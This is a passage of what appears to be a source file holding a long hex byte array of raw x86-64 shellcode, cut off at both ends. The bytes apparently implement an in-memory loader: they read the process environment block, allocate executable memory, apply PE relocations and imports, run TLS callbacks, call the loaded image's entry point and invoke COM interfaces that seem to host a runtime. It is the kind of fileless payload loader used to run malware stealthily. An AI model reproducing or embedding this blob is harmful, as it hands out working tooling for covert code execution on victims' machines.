0xfc, 0xeb, 0x4e, 0xb9, 0x08, 0x20, 0x00, 0x00, 0x45, 393 | 0x8b, 0xc7, 0x66, 0x89, 0x4c, 0x24, 0x60, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xff, 0x93, 0xc0, 394 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x68, 0x02, 0x00, 0x00, 0x44, 0x89, 0xad, 0x78, 0x02, 395 | 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x68, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8b, 396 | 0x4c, 0x24, 0x68, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 397 | 0xc8, 0x00, 0x00, 0x00, 0xeb, 0x06, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 398 | 0x24, 0x60, 0x44, 0x89, 0xad, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x78, 0x02, 0x00, 399 | 0x00, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x4c, 400 | 0x8d, 0x4d, 0xd8, 0xf2, 0x0f, 0x10, 0x4d, 0x88, 0x48, 0x8d, 0x55, 0xa0, 0x66, 0x44, 0x89, 401 | 0x7c, 0x24, 0x78, 0x4c, 0x8b, 0xc7, 0x4c, 0x89, 0x6d, 0x80, 0x0f, 0x10, 0x44, 0x24, 0x78, 402 | 0x48, 0x8b, 0x01, 0xf2, 0x0f, 0x11, 0x4d, 0xb0, 0x0f, 0x29, 0x45, 0xa0, 0xff, 0x90, 0x28, 403 | 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x0f, 0x84, 0xeb, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4c, 404 | 0x24, 0x68, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xd0, 0x00, 405 | 0x00, 0x00, 0xe9, 0xd2, 0x01, 0x00, 0x00, 0x4d, 0x89, 0x6e, 0x38, 0xe9, 0xc9, 0x01, 0x00, 406 | 0x00, 0x4c, 0x8d, 0x82, 0x0c, 0x02, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x01, 0x00, 0x00, 0x48, 407 | 0x8d, 0x45, 0x10, 0x44, 0x89, 0x7c, 0x24, 0x28, 0x41, 0x83, 0xcc, 0xff, 0x48, 0x89, 0x44, 408 | 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x70, 0x48, 0x8d, 0x4d, 409 | 0x10, 0xff, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8b, 0xf8, 410 | 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 0x44, 0x89, 411 | 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 412 | 0x45, 0x8b, 0xcc, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x70, 0x48, 0x8d, 0x4d, 0x10, 0xff, 413 | 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x41, 0x01, 414 | 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x28, 0x49, 0x8d, 0x46, 0x30, 0x4c, 0x8b, 0xc0, 0x48, 0x89, 415 | 0x45, 0x90, 0x48, 0x8b, 0xd7, 0x4c, 0x8b, 0x09, 0x41, 0xff, 0x91, 0x88, 0x00, 0x00, 0x00, 416 | 0x85, 0xc0, 0x0f, 0x88, 0x14, 0x01, 0x00, 0x00, 0x33, 0xff, 0x4c, 0x8d, 0x86, 0x0c, 0x04, 417 | 0x00, 0x00, 0x41, 0x38, 0x38, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x10, 418 | 0x44, 0x89, 0x7c, 0x24, 0x28, 0x45, 0x8b, 0xcc, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 419 | 0x33, 0xc9, 0xff, 0x53, 0x70, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4d, 0x10, 0xff, 420 | 0x93, 0xb0, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, 0x40, 0x8d, 0x4f, 0x0c, 0x33, 0xd2, 421 | 0x4c, 0x8b, 0xf8, 0xff, 0x93, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 422 | 0x74, 0x69, 0x83, 0xa5, 0x78, 0x02, 0x00, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x40, 0x00, 0x76, 423 | 0x5b, 0x33, 0xc9, 0x8d, 0x71, 0x08, 0x44, 0x8d, 0x61, 0x01, 0x49, 0x8b, 0x0c, 0xcf, 0xff, 424 | 0x93, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xc0, 0x66, 0x89, 0x75, 0xc0, 0x48, 0x8d, 425 | 0x95, 0x78, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xc8, 426 | 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, 0x85, 0xc0, 0x79, 0x0b, 0x48, 0x8b, 0xcf, 0xff, 0x93, 427 | 0xd0, 0x00, 0x00, 0x00, 0x33, 0xff, 0x8b, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x41, 0x03, 0xcc, 428 | 0x89, 0x8d, 0x78, 0x02, 0x00, 0x00, 0x3b, 0x4c, 0x24, 0x40, 0x72, 0xb3, 0x45, 0x85, 0xf6, 429 | 0x78, 0x52, 0x48, 0x8b, 0x4d, 0x90, 0x48, 0x8d, 0x55, 0xf0, 0x48, 0x89, 0x54, 0x24, 0x30, 430 | 0x0f, 0x57, 0xc0, 0x48, 0x8d, 0x55, 0xa0, 0x0f, 0x29, 0x45, 0xa0, 0xf2, 0x0f, 0x10, 0x45, 431 | 0x88, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0x09, 0x41, 0xb8, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 432 | 0x7c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x49, 0x8b, 0xd5, 0xf2, 0x0f, 0x11, 0x45, 433 | 0xb0, 0x48, 0x8b, 0x01, 0xff, 0x90, 0xc8, 0x01, 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0x09, 434 | 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x49, 435 | 0x8b, 0xcd, 0xff, 0x93, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff, 0x93, 0xf0, 0x00, 436 | 0x00, 0x00, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc7, 0x48, 0x8b, 0x9c, 0x24, 437 | 0x60, 0x03, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x20, 0x03, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 438 | 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 439 | 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 440 | 0x40, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0xba, 0x28, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xe9, 0x49, 441 | 0x63, 0x7f, 0x3c, 0x45, 0x33, 0xe4, 0x49, 0x03, 0xff, 0x4c, 0x89, 0xa4, 0x24, 0x88, 0x02, 442 | 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0xbc, 0x24, 0x80, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0xea, 443 | 0xff, 0x55, 0x40, 0x4c, 0x63, 0x40, 0x3c, 0x41, 0x0f, 0xb7, 0x44, 0x00, 0x04, 0x66, 0x39, 444 | 0x47, 0x04, 0x0f, 0x85, 0xea, 0x03, 0x00, 0x00, 0x8b, 0x57, 0x50, 0x45, 0x8d, 0x4c, 0x24, 445 | 0x40, 0xb9, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x03, 0xd1, 0x33, 446 | 0xc9, 0xff, 0x55, 0x48, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc4, 0x03, 0x00, 447 | 0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xe8, 0xc4, 0x0e, 0x00, 448 | 0x00, 0x0f, 0xb7, 0x77, 0x14, 0x45, 0x8b, 0xf4, 0x48, 0x03, 0xf7, 0x66, 0x44, 0x3b, 0x67, 449 | 0x06, 0x73, 0x2d, 0x41, 0x8b, 0xc6, 0x4c, 0x8d, 0x04, 0x80, 0x42, 0x8b, 0x54, 0xc6, 0x2c, 450 | 0x42, 0x8b, 0x4c, 0xc6, 0x24, 0x49, 0x03, 0xd7, 0x46, 0x8b, 0x44, 0xc6, 0x28, 0x48, 0x03, 451 | 0xcb, 0xe8, 0x92, 0x0e, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06, 0x41, 0xff, 0xc6, 0x44, 0x3b, 452 | 0xf0, 0x72, 0xd3, 0x8b, 0x87, 0xb0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x48, 0x8b, 453 | 0xf3, 0x4c, 0x8d, 0x0c, 0x03, 0x48, 0x2b, 0x77, 0x30, 0x45, 0x39, 0x21, 0x74, 0x67, 0x41, 454 | 0xbe, 0x00, 0x10, 0x00, 0x00, 0x4d, 0x8d, 0x51, 0x08, 0xeb, 0x47, 0x41, 0x0f, 0xb7, 0x02, 455 | 0xb9, 0x00, 0xf0, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0xd8, 0x66, 0x23, 0xc1, 0xb9, 0x00, 0xa0, 456 | 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x75, 0x1f, 0x45, 0x8b, 0x01, 0x41, 0x81, 0xe3, 0xff, 0x0f, 457 | 0x00, 0x00, 0x4b, 0x8d, 0x04, 0x03, 0x48, 0x8b, 0x14, 0x18, 0x4b, 0x8d, 0x04, 0x03, 0x48, 458 | 0x03, 0xd6, 0x48, 0x89, 0x14, 0x18, 0xeb, 0x0a, 0x66, 0x45, 0x3b, 0xde, 0x0f, 0x83, 0x00, 459 | 0x03, 0x00, 0x00, 0x49, 0x83, 0xc2, 0x02, 0x41, 0x8b, 0x41, 0x04, 0x49, 0x03, 0xc1, 0x4c, 460 | 0x3b, 0xd0, 0x75, 0xad, 0x4d, 0x8b, 0xca, 0x45, 0x39, 0x22, 0x75, 0x9f, 0x8b, 0x87, 0x90, 461 | 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x34, 0x03, 462 | 0x8b, 0x46, 0x0c, 0x85, 0xc0, 0x74, 0x79, 0x8b, 0xc8, 0x48, 0x03, 0xcb, 0xff, 0x55, 0x30, 463 | 0x44, 0x8b, 0x36, 0x48, 0x8b, 0xf8, 0x44, 0x8b, 0x66, 0x10, 0x4c, 0x03, 0xf3, 0x4c, 0x03, 464 | 0xe3, 0xeb, 0x41, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x28, 0x41, 0x83, 0x7d, 0x04, 0x00, 465 | 0x4c, 0x8d, 0x3c, 0x19, 0x74, 0x19, 0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcd, 0xe8, 0x28, 466 | 0xf3, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0x85, 0x90, 0x01, 0x00, 0x00, 0xeb, 467 | 0x0a, 0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcf, 0xff, 0x55, 0x38, 0x49, 0x83, 0xc6, 0x08, 468 | 0x49, 0x89, 0x04, 0x24, 0x49, 0x83, 0xc4, 0x08, 0x49, 0x8b, 0x0e, 0x48, 0x85, 0xc9, 0x75, 469 | 0xb7, 0x8b, 0x46, 0x20, 0x48, 0x83, 0xc6, 0x14, 0x45, 0x33, 0xe4, 0x85, 0xc0, 0x75, 0x8f, 470 | 0x48, 0x8b, 0xbc, 0x24, 0x80, 0x02, 0x00, 0x00, 0x8b, 0x87, 0xf0, 0x00, 0x00, 0x00, 0x85, 471 | 0xc0, 0x74, 0x63, 0x48, 0x8d, 0x73, 0x04, 0x48, 0x03, 0xf0, 0xeb, 0x54, 0x8b, 0xc8, 0x48, 472 | 0x03, 0xcb, 0xff, 0x55, 0x30, 0x4c, 0x8b, 0xe0, 0x48, 0x85, 0xc0, 0x74, 0x3d, 0x44, 0x8b, 473 | 0x76, 0x0c, 0x44, 0x8b, 0x7e, 0x08, 0x4c, 0x03, 0xf3, 0x4c, 0x03, 0xfb, 0xeb, 0x25, 0x48, 474 | 0x8b, 0x45, 0x38, 0x48, 0x85, 0xc9, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d, 475 | 0x53, 0x02, 0x48, 0x03, 0xd1, 0x49, 0x8b, 0xcc, 0xff, 0xd0, 0x49, 0x83, 0xc6, 0x08, 0x49, 476 | 0x89, 0x07, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x8b, 0x0e, 0x48, 0x85, 0xc9, 0x75, 0xd3, 0x48, 477 | 0x83, 0xc6, 0x20, 0x45, 0x33, 0xe4, 0x8b, 0x06, 0x85, 0xc0, 0x75, 0xa6, 0x8b, 0x87, 0xd0, 478 | 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0x74, 0x18, 0x18, 0x48, 0x85, 0xf6, 479 | 0x74, 0x1a, 0xeb, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d, 0x50, 0x01, 0xff, 480 | 0xd0, 0x48, 0x8d, 0x76, 0x08, 0x48, 0x8b, 0x06, 0x48, 0x85, 0xc0, 0x75, 0xe8, 0x8b, 0x77, 481 | 0x28, 0x48, 0x03, 0xf3, 0x41, 0x83, 0x7d, 0x00, 0x03, 0x0f, 0x85, 0x12, 0x01, 0x00, 0x00, 482 | 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d, 0x50, 0x01, 0xff, 0xd6, 0x49, 0x8d, 0x95, 483 | 0x0c, 0x03, 0x00, 0x00, 0x44, 0x38, 0x22, 0x0f, 0x84, 0x8e, 0x01, 0x00, 0x00, 0x8b, 0x87, 484 | 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x80, 0x01, 0x00, 0x00, 0x48, 0x03, 0xc3, 485 | 0x8b, 0x70, 0x18, 0x85, 0xf6, 0x0f, 0x84, 0x72, 0x01, 0x00, 0x00, 0x44, 0x8b, 0x70, 0x1c, 486 | 0x44, 0x8b, 0x60, 0x20, 0x4c, 0x03, 0xf3, 0x44, 0x8b, 0x78, 0x24, 0x4c, 0x03, 0xe3, 0x4c, 487 | 0x03, 0xfb, 0xff, 0xce, 0x8b, 0xc6, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x41, 488 | 0x8b, 0x0c, 0xb4, 0x48, 0x03, 0xcb, 0xe8, 0x9e, 0x0c, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x0d, 489 | 0x85, 0xf6, 0x74, 0x1f, 0x49, 0x8d, 0x95, 0x0c, 0x03, 0x00, 0x00, 0xeb, 0xd7, 0x48, 0x8b, 490 | 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x41, 0x0f, 0xb7, 0x04, 0x47, 0x41, 0x8b, 0x34, 0x86, 491 | 0x48, 0x03, 0xf3, 0xeb, 0x08, 0x48, 0x8b, 0xb4, 0x24, 0x88, 0x02, 0x00, 0x00, 0x44, 0x8b, 492 | 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x45, 0x0c, 0x00, 0x00, 0x44, 0x8b, 0x47, 493 | 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05, 0x00, 0x00, 0x33, 0xd2, 0xe8, 0x33, 0x0c, 0x00, 0x00, 494 | 0x48, 0x85, 0xf6, 0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xbd, 0x0c, 0x04, 0x00, 495 | 0x00, 0x80, 0x3f, 0x00, 0x74, 0x42, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 496 | 0x74, 0x27, 0x48, 0x8d, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 497 | 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0x33, 498 | 0xc9, 0xff, 0x55, 0x70, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x8d, 499 | 0x4c, 0x24, 0x30, 0x48, 0x0f, 0x44, 0xcf, 0xe9, 0x9d, 0x00, 0x00, 0x00, 0xff, 0xd6, 0xe9, 500 | 0x98, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x85, 0x0c, 0x04, 0x00, 0x00, 0x45, 0x38, 0x20, 0x74, 501 | 0x2a, 0x48, 0x8d, 0x44, 0x24, 0x30, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x41, 502 | 0x83, 0xc9, 0xff, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x55, 0x70, 503 | 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0xcd, 0xe8, 0x87, 0x03, 0x00, 0x00, 0x44, 0x8b, 504 | 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x91, 0x0b, 0x00, 0x00, 0x44, 0x8b, 0x47, 505 | 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05, 0x00, 0x00, 0x33, 0xd2, 0xe8, 0x7f, 0x0b, 0x00, 0x00, 506 | 0x45, 0x39, 0x65, 0x04, 0x74, 0x2d, 0x4c, 0x89, 0x64, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x4c, 507 | 0x8b, 0xc6, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x95, 0x88, 0x00, 508 | 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x83, 0xca, 0xff, 0x48, 0x8b, 0xc8, 0xff, 0x95, 509 | 0x80, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x65, 0x48, 0x8b, 0x0c, 0x25, 0x30, 0x00, 0x00, 0x00, 510 | 0x48, 0x8b, 0x49, 0x60, 0xff, 0xd6, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x48, 511 | 0x8b, 0xcb, 0xff, 0x55, 0x50, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x81, 512 | 0xc4, 0x40, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 513 | 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 514 | 0x56, 0x48, 0x8d, 0xac, 0x24, 0xc0, 0xfc, 0xff, 0xff, 0x48, 0x81, 0xec, 0x40, 0x04, 0x00, 515 | 0x00, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0x91, 0x18, 0x09, 0x00, 0x00, 0x41, 516 | 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d, 0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 517 | 0x44, 0x8d, 0x49, 0x04, 0xff, 0x56, 0x48, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 518 | 0x94, 0x02, 0x00, 0x00, 0x8b, 0x8b, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x28, 0x05, 519 | 0x00, 0x00, 0x03, 0xc9, 0x83, 0xcb, 0xff, 0x89, 0x4c, 0x24, 0x28, 0x44, 0x8b, 0xcb, 0x33, 520 | 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0xff, 0x56, 0x70, 0x83, 0x65, 0xe8, 0x00, 521 | 0x48, 0x8d, 0x45, 0x80, 0x83, 0x65, 0xf8, 0x00, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x89, 0x45, 522 | 0xe0, 0x48, 0x8b, 0xce, 0x48, 0x8d, 0x05, 0x04, 0xe4, 0xff, 0xff, 0x48, 0x89, 0x75, 0x38, 523 | 0x48, 0x89, 0x45, 0x80, 0x48, 0x8d, 0x05, 0x89, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0x88, 524 | 0x48, 0x8d, 0x05, 0xe6, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0x90, 0x48, 0x8d, 0x05, 0x63, 525 | 0xe3, 0xff, 0xff, 0x48, 0x89, 0x45, 0x98, 0x48, 0x8d, 0x05, 0xe0, 0xe2, 0xff, 0xff, 0x48, 526 | 0x89, 0x45, 0xa0, 0x48, 0x8d, 0x05, 0xd1, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa8, 0x48, 527 | 0x8d, 0x05, 0xc6, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb0, 0x48, 0x8d, 0x05, 0xbb, 0xe2, 528 | 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x05, 0x48, 0xe3, 0xff, 0xff, 0x48, 0x89, 529 | 0x45, 0xc0, 0x48, 0x8d, 0x05, 0xa5, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8d, 530 | 0x05, 0x9a, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48, 531 | 0x89, 0x45, 0xf0, 0x48, 0x8d, 0x05, 0x22, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x50, 532 | 0x48, 0x8d, 0x05, 0x06, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8d, 0x05, 533 | 0x62, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x60, 0x48, 0x8d, 0x05, 0xf6, 0xe1, 0xff, 534 | 0xff, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8d, 0x05, 0xea, 0xe1, 0xff, 0xff, 0x48, 0x89, 535 | 0x44, 0x24, 0x70, 0x48, 0x8d, 0x45, 0x40, 0x48, 0x89, 0x45, 0x08, 0x48, 0x89, 0x75, 0x00, 536 | 0xe8, 0x0c, 0xec, 0xff, 0xff, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x96, 0x58, 0x01, 0x00, 0x00, 537 | 0x85, 0xc0, 0x0f, 0x85, 0x4c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x60, 0x03, 0x00, 0x00, 538 | 0x33, 0xd2, 0x4c, 0x8d, 0x8e, 0x94, 0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 539 | 0x8d, 0x8e, 0x74, 0x06, 0x00, 0x00, 0x44, 0x8d, 0x43, 0x04, 0xff, 0x96, 0x60, 0x01, 0x00, 540 | 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x1e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 541 | 0x00, 0x48, 0x8d, 0x96, 0xd4, 0x06, 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x70, 0x03, 0x00, 0x00, 542 | 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x0f, 0x85, 0xe2, 0x00, 0x00, 0x00, 0x48, 0x8b, 543 | 0x8d, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 544 | 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xe0, 545 | 0x48, 0x89, 0x4d, 0x20, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 0xa3, 546 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x00, 547 | 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x86, 0xe0, 0x05, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 548 | 0x44, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x70, 0x48, 0x8d, 0x8d, 0x30, 0x01, 549 | 0x00, 0x00, 0xff, 0x96, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 550 | 0x44, 0x8d, 0x43, 0x03, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x09, 0x41, 0xff, 551 | 0x51, 0x40, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0, 0x00, 0x00, 0x00, 0x85, 0xdb, 552 | 0x75, 0x4a, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x45, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 553 | 0x40, 0x00, 0x45, 0x33, 0xc0, 0x21, 0x5c, 0x24, 0x38, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x8d, 554 | 0x70, 0x03, 0x00, 0x00, 0x21, 0x5c, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 555 | 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x85, 0xc0, 0x75, 0x10, 556 | 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x8d, 0x53, 0x02, 0x48, 0x8b, 0x01, 0xff, 0x50, 557 | 0x28, 0x48, 0x8b, 0x8d, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 558 | 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x38, 0x48, 0x8b, 0x8d, 559 | 0x60, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x44, 0x8b, 0x86, 0x18, 0x09, 560 | 0x00, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x46, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 561 | 0xe8, 0x41, 0x08, 0x00, 0x00, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x49, 0x8b, 562 | 0xce, 0xff, 0x56, 0x50, 0x4c, 0x8d, 0x9c, 0x24, 0x40, 0x04, 0x00, 0x00, 0x49, 0x8b, 0x5b, 563 | 0x28, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, 0xc3, 0xcc, 0xcc, 564 | 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 565 | 0x20, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x00, 566 | 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x48, 567 | 0x81, 0xc1, 0x4c, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xea, 0x4c, 0x8b, 0x70, 0x60, 0xff, 0x57, 568 | 0x40, 0x33, 0xc9, 0x4c, 0x8b, 0xd8, 0x4c, 0x63, 0x48, 0x3c, 0x4c, 0x03, 0xc8, 0x45, 0x0f, 569 | 0xb7, 0x51, 0x14, 0x45, 0x0f, 0xb7, 0x41, 0x06, 0x4d, 0x03, 0xd1, 0x45, 0x85, 0xc0, 0x74, 570 | 0x19, 0x44, 0x8b, 0x8f, 0x44, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x04, 0x89, 0x45, 0x39, 0x4c, 571 | 0xc2, 0x18, 0x74, 0x3a, 0xff, 0xc1, 0x41, 0x3b, 